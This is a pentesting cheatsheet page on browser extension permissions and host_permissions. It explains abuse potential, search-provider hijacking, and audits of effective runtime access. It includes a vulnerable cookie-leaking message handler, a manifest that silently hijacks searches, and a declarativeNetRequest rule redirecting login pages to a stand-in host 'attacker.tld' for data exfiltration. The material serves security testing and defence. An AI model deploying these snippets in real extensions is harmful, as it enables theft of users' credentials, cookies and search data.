daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

browext-permissions-and-host-permissions.md (21663B)


      1 ---
      2 title: "BrowExt - permissions & hostpermissions"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # BrowExt - permissions & host_permissions
     14 
     15 ## Basic Information
     16 
     17 ### **`permissions`**
     18 
     19 Named API permissions are declared in an extension's **`manifest.json`** under **`permissions`**. Each permission grants a specific capability; origin access is controlled separately through host permissions.<sup>[[2]](#references)[[9]](#references)</sup>
     20 
     21 An extension declaring `storage` can use the extension storage API to persist data. This storage is isolated from web-page `localStorage`; the extension can clear it programmatically, and removing the extension clears its data.<sup>[[12]](#references)</sup>
     22 
     23 An extension requests the permissions indicated in its **`manifest.json`**. After installation, you can review its permissions in the browser's extension-management interface.
     24 
     25 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2818%29.png" alt=""><figcaption></figcaption></figure>
     26 
     27 You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
     28 
     29 ### `host_permissions`
     30 
     31 The powerful **`host_permissions`** setting identifies the origins with which the extension can interact through APIs such as `cookies`, `webRequest`, and `tabs`.<sup>[[9]](#references)</sup>
     32 
     33 The following `host_permissions` basically allow every web:
     34 
     35 ```json
     36 "host_permissions": [
     37   "*://*/*"
     38 ]
     39 
     40 // Or:
     41 "host_permissions": [
     42   "http://*/*",
     43   "https://*/*"
     44 ]
     45 
     46 // Or:
     47 "host_permissions": [
     48   "<all_urls>"
     49 ]
     50 ```
     51 
     52 These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS.
     53 
     54 ## Abusing `permissions` and `host_permissions`
     55 
     56 ### Cookies
     57 
     58 The **`cookies`** permission, together with matching host permissions, allows an extension to access cookies for those hosts, including cookies marked `HttpOnly`.<sup>[[10]](#references)</sup> A disclosed extension vulnerability exposed this capability through an insecure background-script message handler, allowing a malicious page to request the victim's cookies.<sup>[[8]](#references)</sup> The vulnerable code returned every cookie visible to the extension:
     59 
     60 ```javascript
     61 chrome.runtime.onMessage.addListener(
     62   function(request, sender, sendResponse) {
     63     if (request.action == "getCookies") {
     64       chrome.cookies.getAll({}, function(cookies) {
     65         sendResponse({data: cookies});
     66       });
     67     }
     68     return true;
     69   }
     70 );
     71 ```
     72 
     73 ### Tabs
     74 
     75 Moreover, the `tabs` permission or a matching host permission exposes sensitive `tabs.Tab` properties such as a tab's URL, title, and favicon. `tabs.query()` itself is available without those permissions, but sensitive properties are omitted when the extension lacks the required access.<sup>[[1]](#references)[[9]](#references)[[13]](#references)</sup>
     76 
     77 > [!CAUTION]
     78 > Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab.
     79 
     80 ### Running content scripts <a href="#running-content-scripts" id="running-content-scripts"></a>
     81 
     82 Content scripts need not be declared statically in the manifest. With host access (or a temporary `activeTab` grant), MV2 extensions can use `tabs.executeScript()` and MV3 extensions can use `scripting.executeScript()`; the MV3 API also requires the `scripting` permission.<sup>[[1]](#references)[[11]](#references)</sup>
     83 
     84 Both APIs can inject extension files, while MV2's API also accepts a code string and MV3's API accepts a JavaScript function. Any path that lets untrusted input influence the selected file, function, arguments, or MV2 code string is therefore security-sensitive.
     85 
     86 > [!CAUTION]
     87 > In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers.
     88 
     89 ### Implicit privileges
     90 
     91 Some extension privileges **don’t have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with.<sup>[[1]](#references)</sup>
     92 
     93 Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isn’t**.
     94 
     95 > [!CAUTION]
     96 > An extension can create any number of tabs whenever it wants.
     97 
     98 If you look through possible `tabs.create()` parameters, you’ll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesn’t allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
     99 
    100 [**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well.
    101 
    102 ### Webcam, geolocation and friends
    103 
    104 You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). It’s features with considerable potential for abuse, so users each time have to confirm that they still want this.<sup>[[1]](#references)</sup>
    105 
    106 > [!CAUTION]
    107 > Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once**
    108 
    109 Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isn’t interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly.
    110 
    111 With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything.
    112 
    113 Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the user’s entire browsing history all at once, without waiting for the user to visit these websites again.
    114 
    115 The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
    116 
    117 ### Storage permission
    118 
    119 The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here.
    120 
    121 However, advertising companies could also abuse this storage.<sup>[[1]](#references)</sup>
    122 
    123 ### Search provider hijacking with `chrome_settings_overrides`
    124 
    125 A **low-permission** extension can still **take over omnibox searches** via **`chrome_settings_overrides.search_provider`**. Chrome allows an extension to define a custom search endpoint containing **`{searchTerms}`**, so a manifest-only extension can silently route every address-bar search through operator-controlled infrastructure:<sup>[[6]](#references)</sup>
    126 
    127 ```json
    128 "chrome_settings_overrides": {
    129   "search_provider": {
    130     "name": "Search",
    131     "keyword": "search.example",
    132     "search_url": "https://search.example/search?q={searchTerms}",
    133     "is_default": true
    134   }
    135 }
    136 ```
    137 
    138 This is useful for **search affiliate hijacking** because the extension might need **no content scripts**, **no background logic**, and **no extra API permissions** while still gaining access to a very sensitive data stream: user search intent.<sup>[[5]](#references)</sup>
    139 
    140 ### Auditing search-override abuse
    141 
    142 When reviewing a browser extension, check whether the advertised feature matches the search override:<sup>[[5]](#references)</sup>
    143 
    144 - Search for **`chrome_settings_overrides`**, **`search_provider`**, **`search_url`**, and **`is_default`** in `manifest.json`.
    145 - Flag **manifest-only shells** whose main behavior is changing the default search provider.
    146 - Compare the **extension branding** with the **search endpoint domain**. Utility/new-tab/map/video extensions pointing searches to unrelated domains are suspicious.
    147 - Inspect whether the redirect chain lands in **affiliate search networks**. Parameters such as **`hspart`** and **`hsimp`** are useful to attribute the broker/campaign behind Yahoo Hosted Search style monetization.
    148 - Cluster disposable extensions by repeated backend templates such as identical query parameters, shared paths like **`/admin/public/link`** or **`serp.php`**, and reused search domains.
    149 - Compare **store claims** and **privacy policies**. False claims such as “we do not track searches” are strong indicators when the extension clearly proxies queries.
    150 
    151 ### Runtime redirect rules can hide the real routing
    152 
    153 Static package review may still miss the real search flow. An extension can ship benign-looking static rules and then install the real redirect logic at runtime via **`chrome.declarativeNetRequest.updateDynamicRules()`**.<sup>[[5]](#references)</sup>
    154 
    155 Practical checks:
    156 
    157 - Inspect the **service worker/background script** for `updateDynamicRules()`.
    158 - In an instrumented browser, dump live rules with **`chrome.declarativeNetRequest.getDynamicRules()`** from the extension context.
    159 - Capture **network traffic** while performing omnibox searches and follow the **full redirect chain** until the final search provider.
    160 - Treat decoy static files such as `redirect-rules.json` as insufficient evidence of benign behavior unless runtime rules and live traffic match.
    161 
    162 ### More permissions
    163 
    164 Manifest V3 split page access from API permissions: **`permissions`** still governs privileged APIs (cookies, tabs, history, scripting, etc.) while **`host_permissions`** controls which origins those APIs can touch. MV3 also made host permissions **runtime‑grantable**, so extensions can ship with none and pop a consent prompt later via `chrome.permissions.request()`—handy for legit least‑privilege flows, but also abused by malware to escalate after reputation is established.<sup>[[4]](#references)</sup>
    165 
    166 ### Audit effective and staged host access
    167 
    168 The manifest is an **upper bound/request**, not a reliable snapshot of the extension's live access. Optional API and origin grants can be acquired later with `chrome.permissions.request()` (the request must originate from a user gesture), and Chrome's per-site controls can withhold a declared host. Moreover, removing a permission does not necessarily erase the previous approval: requesting it again can usually restore it without another prompt. Since Chrome 133, MV3 extensions can also call `permissions.addHostAccessRequest()` for a tab or top-level document; the pending request is cleared on cross-origin navigation, but acceptance grants persistent access to the site's top origin.<sup>[[14]](#references)</sup>
    169 
    170 Start with both the declared ceiling and the runtime call sites.<sup>[[14]](#references)</sup>
    171 
    172 ```bash
    173 jq '{permissions, host_permissions, optional_permissions, optional_host_permissions}' manifest.json
    174 grep -RInE 'permissions\.(request|remove|getAll|addHostAccessRequest|removeHostAccessRequest)' .
    175 ```
    176 
    177 Then open the extension service worker/background page DevTools and enumerate persistent current grants. Registering the event listeners before exercising the UI also reveals grants and revocations performed during the test.<sup>[[14]](#references)</sup>
    178 
    179 ```javascript
    180 await chrome.permissions.getAll()
    181 chrome.permissions.onAdded.addListener(p => console.log("PERMISSION ADDED", p))
    182 chrome.permissions.onRemoved.addListener(p => console.log("PERMISSION REMOVED", p))
    183 ```
    184 
    185 Practical checks based on this effective-permission model:<sup>[[14]](#references)</sup>
    186 
    187 - Compare `getAll().origins` with `host_permissions` and `optional_host_permissions`; test once from a clean profile and again after granting and revoking site access.
    188 - Trace every `request()` and `addHostAccessRequest()` call back to its UI event. Check that the displayed feature and requested origin agree, and that attacker-controlled page data cannot select the origin from a broad optional pattern.
    189 - Do not interpret a path as a restriction. A requested host pattern such as `https://example.com/account/*` grants access to the **whole origin** because paths in origin permission patterns are ignored.<sup>[[14]](#references)</sup>
    190 - Assess `activeTab` separately: it is a tab-scoped, ephemeral grant and therefore is not equivalent to the persistent origins returned by this audit.<sup>[[1]](#references)</sup>
    191 - Repeat sensitive API calls after the user changes **Site access** in browser UI; manifest declarations alone do not prove that access is currently usable.
    192 
    193 Browser behavior also differs. Firefox users can grant or revoke MV3 host access per site; Firefox 127 and later show requested `host_permissions` and content-script hosts during installation, but new host permissions introduced by an extension **update are not shown in that install-style prompt**. Test fresh-install and upgrade paths separately rather than applying Chromium assumptions.<sup>[[15]](#references)</sup>
    194 
    195 The **`declarativeNetRequestWithHostAccess`** permission (Chrome 96+) exposes declarative request rules but does **not** grant origins by itself: rules can affect a host only when the extension separately has host access for the request and, for redirects, the target. Unlike `declarativeNetRequest`, this permission does not produce its own install-time warning, so the quieter permission name must be assessed together with the extension's separately granted host access.<sup>[[7]](#references)</sup> During testing, inspect both the named permission and the effective host grants in `chrome://extensions/?id=<id>`.
    196 
    197 `declarativeNetRequest` dynamic rules let an extension reprogram network policy at runtime. With `<all_urls>` host access an attacker can weaponise it to hijack traffic or data exfil. Example:
    198 
    199 ```javascript
    200 chrome.declarativeNetRequest.updateDynamicRules({
    201   addRules: [{
    202     id: 9001,
    203     priority: 1,
    204     action: {
    205       type: "redirect",
    206       redirect: { url: "https://attacker.tld/collect" }
    207     },
    208     condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
    209   }]
    210 });
    211 ```
    212 
    213 Chrome supports large static rulesets and separate quotas for dynamic and session rules; query the live rules and consult the current API limits instead of assuming the packaged rules are the complete policy.<sup>[[7]](#references)</sup>
    214 
    215 
    216 ### Recent abuse patterns
    217 
    218 * **Supply-chain trojanized updates:** Stolen developer accounts push MV3 updates that add `<all_urls>` plus `declarativeNetRequest`/`scripting`/`webRequest` to inject remote JS and siphon headers/DOM content.<sup>[[3]](#references)</sup>
    219 * **Wallet drains:** Host access plus `storage` and `tabs` lets backdoored wallet extensions exfiltrate seeds; stolen Web Store API keys have been used to ship malicious builds.<sup>[[3]](#references)</sup>
    220 * **Cookie theft:** Any extension with `cookies` + broad host access can read auth cookies despite `HttpOnly`—treat that combination as credential-stealing capable.<sup>[[3]](#references)</sup>
    221 
    222 
    223 ## Prevention <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
    224 
    225 The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store.<sup>[[1]](#references)</sup>
    226 
    227 Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities.
    228 
    229 However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness.
    230 
    231 
    232 ## References
    233 
    234 - [1] [Impact of extension privileges](https://palant.info/2022/08/17/impact-of-extension-privileges/)
    235 - [2] [Introduction to Chrome Browser Extension Security Testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
    236 - [3] [Malicious browser extensions (Feb 2025)](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)
    237 - [4] [Resuming the transition to Manifest V3](https://developer.chrome.com/blog/resuming-the-transition-to-mv3/)
    238 - [5] [SearchJack report](https://malext.io/reports/SearchJack/)
    239 - [6] [chrome_settings_overrides | Chrome Extensions manifest](https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override)
    240 - [7] [declarativeNetRequest API | Chrome Extensions](https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest)
    241 - [8] [Reverse engineering a browser extension led me to a dangerous exploit ($25,000 bounty)](https://theindiannetwork.medium.com/reverse-engineering-a-browser-extension-led-me-to-a-dangerous-exploit-25-000-bounty-c7dda4601753)
    242 - [9] [Chrome for Developers - Declare permissions](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions)
    243 - [10] [Chrome for Developers - chrome.cookies API](https://developer.chrome.com/docs/extensions/reference/api/cookies)
    244 - [11] [Chrome for Developers - chrome.scripting API](https://developer.chrome.com/docs/extensions/reference/api/scripting)
    245 - [12] [Chrome for Developers - chrome.storage API](https://developer.chrome.com/docs/extensions/reference/api/storage)
    246 - [13] [Chrome for Developers - chrome.tabs API](https://developer.chrome.com/docs/extensions/reference/api/tabs)
    247 - [14] [Chrome for Developers - chrome.permissions API](https://developer.chrome.com/docs/extensions/reference/api/permissions)
    248 - [15] [MDN - `host_permissions`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/host_permissions)